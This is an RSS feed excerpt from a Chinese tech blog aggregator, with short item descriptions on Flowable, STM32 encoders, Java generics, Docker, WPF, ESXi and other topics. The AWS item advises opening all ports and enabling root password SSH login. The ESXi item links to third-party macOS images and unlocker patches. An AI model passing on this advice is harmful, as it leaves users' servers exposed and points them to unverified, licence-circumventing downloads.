      <description>文章目录 一 、Flowable 的出现是为了什么二、Flowable 的优势三、常见的Java类/实例3.1 ProcessEngine3.2 RepositoryService3.3 ProcessDefinition3.4 Deployment3.5 RuntimeService3.6 ProcessInstance3.7 TaskService3.8 JavaDelegate3.9 其他 四、核心数据库表4.1 数据库4.2 通用数据表（2个）4.3 历史表（8个，HistoryService接口操作的表）4.4 用户相关表（4个，IdentityService接口操作的表）4.5 流程定义、流程模板相关表（3个，RepositoryService接口操作的表）4.6 流程运行时表（6个，RuntimeService接口操作的表） 五、在SpringBoot中简单使用5.1 Flowable入门之表的生成5.2 请假审批案例的实现5.2.1 项目结构5.2.2 application.yml5.2.3 holiday-request.bpmn20.xml5.2.4 HolidayRequestDTO5.2.5 HolidayRequestProcessService5.2.6 HolidayRequestProcessServiceImpl5.2.7 CallExternalSystemDelegate5.2.8 SendRejectionMail5.2.9 HolidayRequestProcessController5.2.10 运行&amp;amp;结果展示 附录参考文章项目地址 一 、Flowable 的出现是为了什么 工作流（Workflow），是指对于一项业务，按照规定的流程，逐级传递、申请、执行等，并且受到了严格控制的一种业务过程。&#xA;BPM（Business Process Management）是指对于某项业务的整个生命周期进行全面管理的一种模式，最核心的内容包括了工作流、决策、交互等。在这些管理过程中，人员、系统等资源都是可以被自动调度的，以致达到更高效、完善的管理目的。&#xA;Flowable工作流是一款基于Java的轻量级开源工作流引擎，它支持BPMN2.0规范、CMMN规范，同时也提供REST API以及JavaAPI，支持Spring，Spring Boot等框架。借助Flowable工作流，企业可以快速构建出符合自己实际业务的工作流。&#xA;二、Flowable 的优势 1、轻量级：Flowable工作流是一款轻量级的工作流引擎，启动快、体积小，且可以嵌入Java应用中使用。&#xA;2、开放源代码：Flowable工作流是一个开源的工作流引擎，保证企业在使用过程中不会受到第三方的监控与限制。&#xA;3、商用友好：Flowable工作流允许企业在商业环境下进行使用，并且提供Flowable Task一类的额外服务。&#xA;三、常见的Java类/实例 3.1 ProcessEngine 流程引擎实例，线程安全，一般一个工作流只需要初始化一次。&#xA;代码示例见本文的 5.1 小节。&#xA;3.2 RepositoryService 可以通过流程引擎（ProcessEngine）获取到。使用RepositoryService可以根据xml文件路径创建一个新的部署（Deployment），并调用 Deployment#deploy() 实际执行。&#xA;代码示例如下（其中xml是放在src/main/resources中）：&#xA;RepositoryService repositoryService = processEngine.getRepositoryService(); Deployment deployment = repositoryService.</description>
    </item>
    <item>
      <title>白嫖一年免费的亚马逊云服务器搭建小工具</title>
      <link>https://bchobby.github.io/posts/0fbe06b1c6b6e1d48e94ca84cbf83ba1/</link>
      <pubDate>Sat, 10 Jun 2023 13:27:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fbe06b1c6b6e1d48e94ca84cbf83ba1/</guid>
      <description>1.注册亚马逊云账户 地址：https://aws.amazon.com/cn/&#xA;一路下来资料照填，邮箱用QQ邮箱就行，地址邮箱编码什么的随便填填。需要注意的是，注册过程需要绑定信用卡，说好是免费的，怎么还要绑定信用卡扣费呢？所谓免费，就是在你没有用超的情况下。&#xA;2.创建AWS实例 登录控制台，这里可以选服务器的地址，在右上角导航栏上，搜索EC2，点击后进入EC2页面&#xA;进入后点击启动实例&#xA;勾选仅免费套餐，默认是Amazon Linux AMI，Linux系统，也可以选择Ubuntu什么的。&#xA;实例类型选择t2 micro，符合条件的免费套餐即可，接下来需要创建新密钥对&#xA;输入密钥对名称，后面配置默认，系统会自动把密钥对文件下载，例如key.pem&#xA;配置安全组的时候，默认只有SSH流量，建议先允许所有流量，开放所有端口，方便后续测试。&#xA;这个安全组配置创建完成还可以改的，担心不安全创建完可以再做修改。&#xA;之后就可以启动实例了&#xA;3.连接到服务器 如果你使用的是Windows，这一步参考亚马逊自己文档即可：putty链接服务器&#xA;Linux和Mac参考亚马逊的文档：SSH链接服务器&#xA;文档里的 instance-user-name 使用 ec2-user 即可，Amazon Linux AMI默认的是 ec2-user ，&#xA;instance-public-dns-name 使用 实例的 公有 DNS 既可以&#xA;示例：ec2-user@ec2-11-111-11-111.ap-northeast-1.compute.amazonaws.com&#xA;但是这样登录进去后，你并不是管理员的权限，无法修改文件，修改至root用户权限参考文档：&#xA;https://www.blog-china.cn/blog/liuzaiqingshan/home/10/1537109672890&#xA;1.在用密钥登陆ec2后，为root用户创建密码：&#xA;sudo passwd root 系统会让你输入两次密码&#xA;2.切换为root用户，并且编辑sshd_config文件，PasswordAuthentication no，把no改成yes。使系统允许密码登陆&#xA;su root 这样你就是root用户了&#xA;之后你就可以操作云服务器做一些你想做的事情了&#xA;4.调试——无法使用怎么办 1.打开防火墙&#xA;如果你的 VPS 有外部防火墙，请确保你已经开放了端口&#xA;测试端口是否能连接上：打开 https://ping.sx/check-port&#xA;Target 写你的 VPS服务器的 IP，Port 写服务端的端口，然后点击 Check。&#xA;如果 REACHABILITY 显示 Timeout，那是无法连接上端口&#xA;需要打开防火墙，对于亚马逊云来说，需要修改你的EC2实例的安全组规则，入站规则改为对所有流量开放</description>
    </item>
    <item>
      <title>【嵌入式学习-STM32F103-TIM-编码器接口】</title>
      <link>https://bchobby.github.io/posts/d9aa8bccdad6d18fcd01230359b18661/</link>
      <pubDate>Sat, 10 Jun 2023 11:31:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9aa8bccdad6d18fcd01230359b18661/</guid>
      <description>编码器接口 本质手册编码器接口简介编码器接口基本结构工作细节和例子 编码器接口测速硬件接线图编程步骤实验现象测位置极性问题 测速度 代码main.cEncoder.cEncoder.hTimer.cTimer.h 本质 编码器测速相当于测频法测正交脉冲的频率，CNT计次，每隔一段时间取一次计次。高级，它是带方向的计次。&#xA;手册 编码器接口简介 通过定时器的编码器接口来实现自动计次。之前的代码是通过触发外部中断，然后在中断函数里手动进行计次。使用编码器接口的好处就是节约软件资源。对于频繁执行，操作简单的任务，一般设计一个硬件电路模块来自动完成。&#xA;使用定时器的编码器接口，再配合编码器，就可以测量旋转速度和旋转方向。编码器测速一般应用在电机控制的项目上。使用PWM驱动电机，再使用编码器测量电机的速度，然后再使用PID算法进行闭环控制。&#xA;编码器的工作流程：根据编码器旋转产生的正交信号脉冲，自动控制CNT自增或自减，从而只是编码器的位置、旋转方向和旋转速度&#xA;这是一个编码器，它有两个输出，一个是A相，一个是B相，然后接入到stm32，定制起的编码器接口，编码器接口自动控制定时器时基单元中的CNT计数器进行自增或自减。比如初始化后，CNT初始值为0，然后编码器右转，CNT就++，右转产生一个脉冲，CNT就加一次，比如右转产生10个脉冲停下来，那么CNT就由0自增到10，停下来。编码器左转，CNT就–，左转产生一个脉冲，CNT减一次，如编码器左转产生5个脉冲，CNT就在原来10的基础上自减5停下来。&#xA;正交编码器(输出两个相位相差90°的方波信号)一般可以测量位置，或者带有方向的速度值，它一般有两个信号输出引脚，一个是A相，一个是B相，当编码器的旋转轴转起来，A和B相会输出方波信号，转的越快，方波的频率就越高，所以方波的频率就代表了速度。取出任意一相的信号来测量频率，就能知道旋转速度。&#xA;方向：当正转时，A相提前B相90度，反转时，A相滞后B相90度。接口：一个带有方向控制的外部时钟&#xA;使用正交信号精度更高，AB相都可以计次，相当于计次频率提高了一倍，还可以加抗噪声电路。&#xA;首先把A相和B相的所有边沿作为计数器的计数时钟，出现边沿信号时，就计数自增或自减，自增或自减的计数方向由另一相的状态来决定。查下表即可。&#xA;编码器接口有两个输入端，分别要接到编码器的A相和B相，有两个网络标号分别写的是TI1FP1和TI2FP2&#xA;可以看出这个编码器接口的两个引脚，借用了输入捕获单元的前两个通道，所以最终编码器的输入引脚是定时器的CH1和CH2这两个引脚&#xA;信号的通路如下（与CH3和CH4无关 ），编码器接口使用CH1和CH2的输入捕获滤波器和边沿检测，但没有使用后面的是否交叉、预分频器和CCR寄存器&#xA;编码器接口的输出部分就相当于从模式控制器，去控制CNT的计数时钟和计数方向，如果出现了边沿信号，并且对应另一相的状态为正转，则控制CNT自增，否则控制CNT自减。&#xA;注意：72MHZ内部时钟（CK_PSC）和在时基单元初始化设置的计数方向(上图的+/-)并不会使用，因为此时计数时钟和计数方向都处于编码器接口托管的状态，计数器的自增和自减受编码器的控制&#xA;编码器接口基本结构 输入捕获的前两个通道，通过GPIO口接入编码器A、B相，通过滤波器和边沿检测极性选择，产生TI1FP1和TI2FP2，通向编码器接口，编码器接口通过预分频器控制CNT计数器的时钟，同时，编码器接口还根据编码器的旋转方向，控制CNT的计数方向，编码器正转时，CNT自增，编码器反转时，CNT自减，ARR有效，一般我们设置ARR为65535，最大量程。补码：65535对应-1，依此类推（读出数据，得到负数的技巧）&#xA;工作细节和例子 在两相边沿计数，计数精度高（一般使用该模式）&#xA;正转&#xA;正转的状态都向上计数，反转的状态的都向下计数。&#xA;实例图1（向上计数、向下计数、正交编码器抗噪声）&#xA;如果出现了一个引脚不变，另一个引脚连续跳变多次的毛刺信号，计数器就会加、减、加、减来回摆动，最终计数值还是原来那个数，并不受毛刺噪声的影响。正交编码器抗噪声的原理&#xA;实例2（TI1反相，TI2不反相）极性&#xA;编码器接口测速 硬件接线图 计划用TIM3接编码器，所以需要接在PA6和PA7这两个引脚上。&#xA;编程步骤 第一步，RCC开启时钟，开启GPIO和定时器的时钟&#xA;第二步，配置GPIO，将PA6和PA7配置成输入模式&#xA;第三步，配置时基单元，这里预分频一般选择不分频&#xA;第四步， 配置输入捕获单元，只需要配置滤波器和极性两个参数&#xA;第五步，配置编码器接口模式&#xA;最后，调用TIM_Cmd启动定时器&#xA;电路初始化完成后，CNT就会随着编码器旋转而自增自减，如果想要测量编码器的位置，直接读出CNT的值即可，如果想要测量编码器的速度和方向，那就需要每隔一段固定的闸门时间，取出CNT，然后把CNT清零。&#xA;上拉输入还是下拉输入的选择&#xA;一般可以看一下接在这个引脚的外部模块输出的默认电平，如果外部模块空闲默认输出高电平，我们就选择上拉输入，默认输入高电平，如果外部模块默认输出低电平，我们配置下拉输入，默认输入低电平。总结，将需要配置电平的位置和外部模块保持默认状态一致，防止默认电平打架。&#xA;如果不确定外部模块输出的默认状态或者外部信号输出功率非常小，这时尽量选择浮空输入，浮空输入没有上下拉电阻去影响外部信号，缺点是当引脚悬空时，没有默认电平，输入就会受噪声干扰，来回不断跳变。&#xA;实验现象 测位置 A、B相各出现了一个下降沿和上升沿，所以计次总共加了4次。&#xA;如果转到0，再往左转，0自减，计数器反向溢出，回到自动重装值，65535，然后继续往下减。&#xA;如果我们想让0自减为-1，直接把uint16_t类型强制转换成int16_t即可&#xA;极性问题 硬件方面：对换AB相接线即可&#xA;软件方面：通过修改两个输入通道的极性，把任意一个极性反转一下，方向就会反过来&#xA;测速度 如果想让编码器测速度，可以在固定的闸门时间读一次CNT，然后把CNT清零，此时CNT的值代表速度，单位是脉冲个数/S&#xA;代码 1、通过Delay实现闸门时间，如果程序没有其他东西，可以这么做&#xA;2、如果有其他东西，最好不要在主循环加入过长的Delay函数，这样会阻塞主循环的执行，比较好的方法时使用定时中断，这里的定时中断是每隔1s执行一次，可修改定时中断的时间，来调整闸门时间。&#xA;main.c #include &#34;stm32f10x.h&#34; // Device header #include &#34;Delay.h&#34; #include &#34;</description>
    </item>
    <item>
      <title>计算机视觉领域英文SCI期刊</title>
      <link>https://bchobby.github.io/posts/1cf39fc45a9a415c5ce14fd6ea987b82/</link>
      <pubDate>Sat, 10 Jun 2023 10:24:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1cf39fc45a9a415c5ce14fd6ea987b82/</guid>
      <description>计算机视觉和模式识别领域的代表就是四大顶会了：ICCV、ECCV、CVPR、NIPS，还有就是难度最高的PAMI了，这些都让人望而生畏。那么除了这些耳熟能详的期刊和会议之外，还有哪些该领域的期刊呢？&#xA;下面我收集了一些该领域的代表性期刊，并介绍了他们的影响因子以及投稿难度和审稿周期。希望对大家有帮助吧，后期大家还有发现的可以留言，补充哦。&#xA;首先介绍计算机视觉领域的4个顶级代表性期刊吧。&#xA;(1) IEEE Transactions on Pattern Analysis and Machine Intelligence，IEEE模式分析与机器智能汇刊，简称PAMI，是IEEE最重要的学术性汇刊之一。在各种统计中，PAMI被认为有着很强的影响因子（2011年影响因子为4.9）和很高的排名。显然，这个期刊的中稿难度那是相当的大，一般先投中CVPR之后再加点东西投该期刊会比较好中一点。&#xA;(2) ACM Transactions on Graphics。美国计算机协会图形汇刊，简称TOG，该刊侧重于计算机图形的处理，影响因子在该领域也比较高，2011年为3.5。中稿的难度也极大，一般该刊对每年的SIGGRAPH(Special Interest Group for Computer GRAPHICS,计算机图形图像特别兴趣小组）会议论文全文收录。&#xA;(3) International Journal of Computer vision，该刊也是该领域的顶级期刊之一，相比于PAMI来讲，该刊侧重于理论的推导。2011年影响因子为3.7，中稿难度也相当大。&#xA;(4) IEEE Transactions on Image Processing，该刊也是图像处理领域的代表性期刊之一，相比于上面三个期刊来讲，该刊稍微低一点层次。2011年影响因子为3.042，中稿难度也比较大。审稿周期一年左右。&#xA;除了上述让人望而生畏的顶级期刊之外，我们再看看一般的期刊吧。&#xA;(1)Pattern recognition letters, 从投稿到发表，一年半时间;&#xA;(2)Pattern recognition 不好中，时间长;&#xA;(3)IEICE Transactions on Information and Systems， 作者中有一个必须是会员。收费高，审稿快。影响因子0.4;&#xA;(4)International Journal of Pattern Recognition and Artificial Intelligence ， 审稿周期一般6–12周，影响因子偏低，容易中;&#xA;(5)Computational Intelligence， 中等偏上，要求较高，杂志级别不错，关注人数偏少，比较冷门;&#xA;(6)information processing letters, 影响因子低0.5左右，接搞量大，容易发表，审稿周期一般3–6个月;&#xA;(7)Computer vision and image understanding, 9个月审稿期，平均投稿命中率20%，业内比较认可;</description>
    </item>
    <item>
      <title>java 泛型</title>
      <link>https://bchobby.github.io/posts/da73d6a1125040541d80da2ab4622515/</link>
      <pubDate>Sat, 10 Jun 2023 07:58:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da73d6a1125040541d80da2ab4622515/</guid>
      <description>一、泛型概述和定义 泛型就是将 数据类型参数化，例如我们实现一个存储对象的容器时，并不是直接定义好只能存储一种类型，好的办法就是定义时将类型参数化，也就是泛型，在真实使用时再传入真正的参数，这种参数化类型可以用在类、接口和方法中，分别被称为 泛型类、泛型接口、泛型方法。&#xA;1、泛型类 类中成员为泛型的类称为泛型类。最典型的就是各种容器类，如：List、Set、Map等。定义语法如下：&#xA;class 类名称 &amp;lt;泛型标识&amp;gt; { private 泛型标识 变量名; ..... } } 其中的T表示类型参数，可以表示任何包装类型（基本类型不涉及泛型），这里的 T 就是泛型标识可以任意设置Java 常见的泛型标识以及其代表含义如下： T ：代表一般的任何类。 E ：代表 Element 元素的意思，或者 Exception 异常的意思。 K ：代表 Key 的意思。 V ：代表 Value 的意思，通常与 K 一起配合使用。 S ：代表 Subtype 的意思，文章后面部分会讲解示意。 public class FanXing &amp;lt;T&amp;gt; { private T value; public void setValue(T value) { this.value = value; } public T getValue() { return this.value = value; } } 当创建一个 Generic&amp;lt; T &amp;gt; 类对象时，会向尖括号 &amp;lt;&amp;gt; 中传入具体的数据类型。 public static void main(String[] args){ FanXing fanXing1 = new FanXing&amp;lt;&amp;gt;(); // 不传时相当于默认 Object 类型 FanXing fanXing2 = new FanXing(); // 同上 FanXing fanXing3 = new FanXing&amp;lt;String&amp;gt;(); FanXing fanXing4 = new FanXing&amp;lt;Integer&amp;gt;(); } 2、泛型接口 public interface 接口名&amp;lt;泛型标识&amp;gt; { .</description>
    </item>
    <item>
      <title>计算机网络1</title>
      <link>https://bchobby.github.io/posts/1d64399949f9d7aa00171b5755fcabdd/</link>
      <pubDate>Sat, 10 Jun 2023 00:04:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d64399949f9d7aa00171b5755fcabdd/</guid>
      <description>第一章计算机网络概述&#xA;一 填空题:&#xA;1在D实际5年代，计算机和通信技术的相互结合，为计算机网络的产生奠定了理论基础。&#xA;2从传输范围的角度来划分计算机网络，计算机网络可以分为局域网.&#xA;城域网和广域网。其中Intenet属于广域网。&#xA;3从资源共享的角度来定义计算机网络，计算机网络指的是利用 通信线&#xA;路将不同地理位置的多个独立的自治计算机系统连接起来以实现资源共&#xA;享的系统。&#xA;4 从逻辑功能上，计算机网络可以分成资源子网和通信子网两个部分。&#xA;5APPAnet的诞生是计算机网络发展历史中的一个里程碑事件，为Intenet&#xA;的形成奠定了理论和技术的基础。&#xA;6 局域网的主要技术要素包括网络拓扑、传输介质和介质访问控制方法。&#xA;7hternet是由分布在世界各地的计算机网络借助于路由器相互连接而形&#xA;成的全球性互联网。&#xA;8在通信技术中，通信信道的类型有两类:点对点式和广播式。在点对&#xA;点式通信信道中，一条通信线路只能连接一对结点。而在 广播式通信信&#xA;道中，多个结点共享一个通信信道，一个结点广播信息，其他结点必须接收信息。</description>
    </item>
    <item>
      <title>ESXI安装MacOS系统，VMware安装MacOs系统，MacOs10.14.iso下载，MacOS10.13下载，MacOS10.12下载，unlocker下载</title>
      <link>https://bchobby.github.io/posts/7b666ac5f312655e31bf174ba1887300/</link>
      <pubDate>Fri, 09 Jun 2023 22:31:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b666ac5f312655e31bf174ba1887300/</guid>
      <description>ESXI安装MacOs系统 一、用到的工具和软件系统版本一、用到的工具二、需要用到的安装包 二、安装过程1.连接远程ESXI服务器2.上传iso文件和几个文件到ESXI服务器3.给VmWare打补丁，支持安装MacOS虚拟机4.给MacOS虚拟安装VmWare Tools 一、用到的工具和软件系统版本 一、用到的工具 ESXI 6.5.0VMware Workstation 15 Pro 15.5.0&#xA;自己本机装的一个，可以&#34;连接远程服务器&#34;方便远程操控ESXI 二、需要用到的安装包 MacOs镜像 要ISO格式的镜像,下面提供三个ISO镜像，随意使用。 macOS.Mojave10.14版本(本人使用的就是当前版本)&#xA;链接：https://pan.baidu.com/s/1PC98hV-urGjZnwT3v8pr-A&#xA;提取码：vepy&#xA;macOS High Sierra 10.13版本&#xA;链接：https://pan.baidu.com/s/1gC1DmT72Q6qxDIzqPx7esQ?pwd=c3rd&#xA;提取码：c3rd&#xA;Install-macOS-Sierra-10.12.6版本&#xA;链接：https://pan.baidu.com/s/1jWobf9oErg6ezVQolxW2qQ?pwd=i5m8&#xA;提取码：i5m8&#xA;unlocker-4.1.3.tar&#xA;用来给VMWare打补丁，来支持安装MacOs虚拟机，如果没有这个，在创建虚拟机时候，没有MacOS这个选项。&#xA;链接：https://pan.baidu.com/s/1TOY37mY8BJm8HxNP_LJ8VA?pwd=kaib&#xA;提取码：kaibesxi-unlocker-302 ESXI需要添加补丁，因为macOS只能安装在Apple硬件上。unlocker将修改ESXi以接受macOS VM的非Apple硬件，如果不执行这个程序，会报错。&#xA;链接：https://pan.baidu.com/s/1aqoSZLllMqLw0KADO54xKQ&#xA;提取码：z027&#xA;或者下载链接：&#xA;https://download.csdn.net/download/RGBBB/72130224&#xA;4. VMware Tools (darwin.iso)&#xA;VMware Tools组件，是VMware官方对虚拟机提供的一个组件包，能改善鼠标移动性、视频和性能，虚拟机显示没有黑边，屏幕会根据窗口大小自动调整，还能实现文件无缝拖入&#xA;链接: https://pan.baidu.com/s/1r-tOG2enKOxuhHpkFsB5lA&#xA;提取码: dong&#xA;或者：&#xA;链接：https://pan.baidu.com/s/14yz4JrG5UuXmRs4gLywK1Q&#xA;提取码：w9cg&#xA;二、安装过程 1.连接远程ESXI服务器 打开VMWare,连接远程服务器&#xA;192.168.1.100 就是ESXI服务器ip，然后输入用户名密码，就能连接上。&#xA;当然可以访问：https://192.168.9.100/ 网页端控制页面，也能使用。&#xA;此处使用VMWare是方便后面更舒服的访问MacOs系统，比网页端访问系统更舒服。&#xA;2.上传iso文件和几个文件到ESXI服务器 打开自己的ESXi网页端地址：https://192.168.9.100/(这是我的地址)&#xA;登录后点击左侧的 “存储”–数据存储浏览器&#xA;创建目录：ISO&#xA;然后将 macOS.Mojave10.14、esxi-unlocker-302、darwin.iso 上传至此目录，后面依次要用到。&#xA;3.给VmWare打补丁，支持安装MacOS虚拟机 给VmWare打补丁，从而支持安装MacOs虚拟机</description>
    </item>
    <item>
      <title>Calling Add-ins (C#)</title>
      <link>https://bchobby.github.io/posts/4630bc2415998ade9826110719e1cc27/</link>
      <pubDate>Fri, 09 Jun 2023 21:10:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4630bc2415998ade9826110719e1cc27/</guid>
      <description>本范例展示如何通过实现 IEdmAddIn5::GetAddInInfo 和 IEdmAddIn5::OnCmd 去创建一个当用户在数据卡中点击一个按钮时被调用的Visual C# add-in程序。这个add-in在用户浏览文件时打开一个对话框. add-in 将所选文件的路径复制到 文件的数据卡。&#xA;注意： 因为 SOLIDWORKS PDM Professional 无法强制重新加载 .NET 中编写的Add-in程序。必须重新启动所有客户端计算机，以确保使用最新版本的外接程序。 启动VS。新建项目，选择类库。 在“解决方案资源管理器”中右键单击项目名称 ，然后单击添加引用。 单击 COM 在 左侧面板，单击PDMWorks Enterprise 2019 Type Library，然后单击添加。&#xA;如果需要，引入相关的程序集。设置Interop.EdmLib的嵌入互操作类型为False。在“解决方案资源管理器”中右击项目名称，然后单击“属性”。 “应用程序&amp;gt;程序集信息”。 取消勾选“使程序集 COM 可见（M）”。 修改Class1.cs。这里修改类名为CallAddin.cs。 添加和创建GUID。修改代码 using System; using EdmLib;//添加 using System.Runtime.InteropServices;//添加 namespace Calling_Add_ins { [Guid(&#34;20637265-0AAC-4730-BA59-43C4395B2D2A&#34;),ComVisible(true)] public class CallAddin : IEdmAddIn5 { } } 实现 IEdmAddIn5::GetAddInInfo 和IEdmAddIn5::OnCmd ​​using System; using EdmLib;//添加 using System.Runtime.InteropServices;//添加 namespace Calling_Add_ins { [Guid(&#34;20637265-0AAC-4730-BA59-43C4395B2D2A&#34;),ComVisible(true)] public class CallAddin : IEdmAddIn5 { public void GetAddInInfo(ref EdmAddInInfo poInfo, IEdmVault5 poVault, IEdmCmdMgr5 poCmdMgr) { //Specify information to display in the add-in&#39;s Properties dialog box poInfo.</description>
    </item>
    <item>
      <title>Creating Serial Numbers (C#)</title>
      <link>https://bchobby.github.io/posts/799da9bafcb039058ac540324574237a/</link>
      <pubDate>Fri, 09 Jun 2023 21:09:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/799da9bafcb039058ac540324574237a/</guid>
      <description>此示例展示如何使用Visual C#编写的Add-ins为文件数据卡生成序列号。&#xA;注意事项：&#xA;SOLIDWORKS PDM Professional无法强制重新加载用.NET编写的Add-ins，必须重新启动所有客户端计算机，以确保使用Add-ins的最新版本。&#xA;SOLIDWORKS PDM Professional建议使用内置格式字符串或列表生成序列号。它们提供了比Add-ins生成的序列号或文件序列号更好的性能。仅当内置格式字符串或列表不足时，才编写Add-ins以生成序列号。&#xA;序列号编码器与其他类型挂钩的区别在于：&#xA;在IEdmAddIn5:：GetAddInInfo方法中注册你的钩子。在IEdmAddIn5:：OnCmd方法中编写内容。 启动VS。新建项目，选择类库。在“解决方案资源管理器”中右键单击项目名称 ，然后单击添加引用。 单击 COM 在 左侧面板，单击PDMWorks Enterprise 2019 Type Library，然后单击添加。&#xA;如果需要，引入相关的程序集。设置Interop.EdmLib的嵌入互操作类型为False。在“解决方案资源管理器”中右击项目名称，然后单击“属性”。 “应用程序&amp;gt;程序集信息”。取消勾选“使程序集 COM 可见（M）”。修改Class1.cs。这里修改类名为MySerial.cs。 添加和创建GUID。修改代码 using System; using System.Runtime.InteropServices;//添加 using EdmLib;//添加 namespace Creating_Serial_Numbers​​ { [Guid(&#34;90C81B4A-560D-4FBF-9F08-E670D4ABB892&#34;), ComVisible(true)] public class MySerial:IEdmAddIn5 { } } 实现 IEdmAddIn5::GetAddInInfo 和IEdmAddIn5::OnCmd ​​ using System; using System.Runtime.InteropServices;//添加 using EdmLib;//添加 namespace Creating_Serial_Numbers​​ { [Guid(&#34;90C81B4A-560D-4FBF-9F08-E670D4ABB892&#34;), ComVisible(true)] public class MySerial:IEdmAddIn5 { public void GetAddInInfo(ref EdmAddInInfo poInfo, IEdmVault5 poVault, IEdmCmdMgr5 poCmdMgr) { //Return information about this add-in to the Administrate Add-ins dialog poInfo.</description>
    </item>
    <item>
      <title>a标签下载图片</title>
      <link>https://bchobby.github.io/posts/8ff03144a4565896065dc02764ba7113/</link>
      <pubDate>Fri, 09 Jun 2023 17:49:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ff03144a4565896065dc02764ba7113/</guid>
      <description> 解决方法：在下载链接 url 后面加上 ?response-content-type=application/octet-stream 这个参数可以实现点击下载功能&#xA;&amp;lt;a href=&#34;http://pic/item/6a63f629f9a16a.jpg?response-content-type=application/octet-stream&#34; download&amp;gt;下载&amp;lt;/a&amp;gt; </description>
    </item>
    <item>
      <title>Docker宿主机复制(单个文件夹/多个文件/单个文件)到容器</title>
      <link>https://bchobby.github.io/posts/2aea7e4a68d5b3e785ff9e986fb46653/</link>
      <pubDate>Fri, 09 Jun 2023 17:13:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2aea7e4a68d5b3e785ff9e986fb46653/</guid>
      <description> 复制单个文件夹到容器指定目录下 我的JPEGImages里面包含了多张图片，下面的指令将宿主机JPEGImages目录下的所有文件和子目录复制到7a7608e0bf84容器的/home/PaddleSeg/input/目录下&#xA;docker cp JPEGImages/. 7a7608e0bf84:/home/PaddleSeg/input/ 复制多个宿主机文件到容器指定目录下 使用多行docker cp指令&#xA;docker cp JPEGImages/a.png 7a7608e0bf84:/home/PaddleSeg/input/ \ docker cp JPEGImages/b.png 7a7608e0bf84:/home/PaddleSeg/input/ 从容器复制单个文件到宿主机： docker cp &amp;lt;容器ID或名称&amp;gt;:&amp;lt;容器源路径&amp;gt; &amp;lt;宿主机目标路径&amp;gt;&#xA;docker cp 7a7608e0bf84:/home/PaddleSeg/input/a.png JPEGImages/ 从宿主机复制单个文件到容器 docker cp &amp;lt;宿主机目标路径&amp;gt; &amp;lt;容器ID或名称&amp;gt;:&amp;lt;容器源路径&amp;gt;&#xA;docker cp JPEGImages/a.png 7a7608e0bf84:/home/PaddleSeg/input/ </description>
    </item>
    <item>
      <title>WPF ItemsControl定义数据模板实现后台动态生成卡片</title>
      <link>https://bchobby.github.io/posts/94e0dd8226ce46d5e1add9c96ba341a9/</link>
      <pubDate>Fri, 09 Jun 2023 14:48:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94e0dd8226ce46d5e1add9c96ba341a9/</guid>
      <description>前言 有时候需要制作设备监控页面，实时显示设备一下参数的实时值。为了避免设备参数变更导致需要更改上位机程序。因此想着能不能做一个模板，在后台配置数据库实现。设备参数的更新。&#xA;代码 定义 定义一个ViewModel类，这里实现接口&#xA;public class ValveVM : INotify { public ObservableCollection&amp;lt;ValveMappingModel&amp;gt; _valveList; public ObservableCollection&amp;lt;ValveMappingModel&amp;gt; ValveList { get { return _valveList; } set { if (_valveList == value) return; _valveList = value; OnPropertyChanged(); } } } 继承了INotify类，实现INotifyPropertyChanged接口&#xA;public class INotify : INotifyPropertyChanged { public event PropertyChangedEventHandler PropertyChanged; public void OnPropertyChanged([CallerMemberName] string propertyName = &#34;&#34;) { if (PropertyChanged != null) PropertyChanged(this, new PropertyChangedEventArgs(propertyName)); } } 再建一个实体类用于数据模板&#xA;public class ValveMappingModel { public string ProjectType { get; set; } public string ProCode { get; set; } public string ProName { get; set; } public string AddressType { get; set; } public string DataType { get; set; } public int?</description>
    </item>
    <item>
      <title>Edge浏览器ctrl&#43;C常常失灵？</title>
      <link>https://bchobby.github.io/posts/cb8b43588fe95b00d02bbf2103506295/</link>
      <pubDate>Fri, 09 Jun 2023 14:19:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb8b43588fe95b00d02bbf2103506295/</guid>
      <description>亲测好用：浏览器设置—上下文菜单—关闭【选择文本时显示迷你菜单】</description>
    </item>
    <item>
      <title>postman发送json嵌套， 后端 @RequestBody 接收不到</title>
      <link>https://bchobby.github.io/posts/3b454478af4d476704f892351d4a97ad/</link>
      <pubDate>Fri, 09 Jun 2023 13:44:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b454478af4d476704f892351d4a97ad/</guid>
      <description>遇到了一个很奇葩的问题，具体是这样的：&#xA;postman 通过 post 方式发送请求，请求参数是一个嵌套的json，后端是@RequestBody修饰的实体类接参的，&#xA;具体的json数据：&#xA;{ &#34;ipAddress&#34;:&#34;192.168.110.179&#34;, &#34;ipv6Address&#34;:&#34;::&#34;, &#34;portNo&#34;:&#34;38050&#34;, &#34;protocol&#34;:&#34;HTTP&#34;, &#34;macAddress&#34;:&#34;ec:c8:9c:c4:5c:b3&#34;, &#34;channelID&#34;:&#34;1&#34;, &#34;dateTime&#34;:&#34;2021-12-14T19:23:52+08:00&#34;, &#34;activePostCount&#34;:&#34;157&#34;, &#34;eventType&#34;:&#34;ANPR&#34;, &#34;eventState&#34;:&#34;active&#34;, &#34;eventDescription&#34;:&#34;ANPR&#34;, &#34;channelName&#34;:&#34;IP CAPTURE CAMERA&#34;, &#34;deviceID&#34;:&#34;jnjtzf0001&#34;, &#34;aNPR&#34;:{ &#34;licensePlate&#34;:&#34;车牌&#34;, &#34;line&#34;:&#34;1&#34;, &#34;confidenceLevel&#34;:&#34;0&#34;, &#34;plateType&#34;:&#34;unknown&#34;, &#34;plateColor&#34;:&#34;blue&#34;, &#34;licenseBright&#34;:&#34;0&#34;, &#34;pilotsafebelt&#34;:&#34;unknown&#34;, &#34;vicepilotsafebelt&#34;:&#34;unknown&#34;, &#34;pilotsunvisor&#34;:&#34;unknown&#34;, &#34;vicepilotsunvisor&#34;:&#34;unknown&#34;, &#34;envprosign&#34;:&#34;unknown&#34;, &#34;dangmark&#34;:&#34;unknown&#34;, &#34;uphone&#34;:&#34;unknown&#34;, 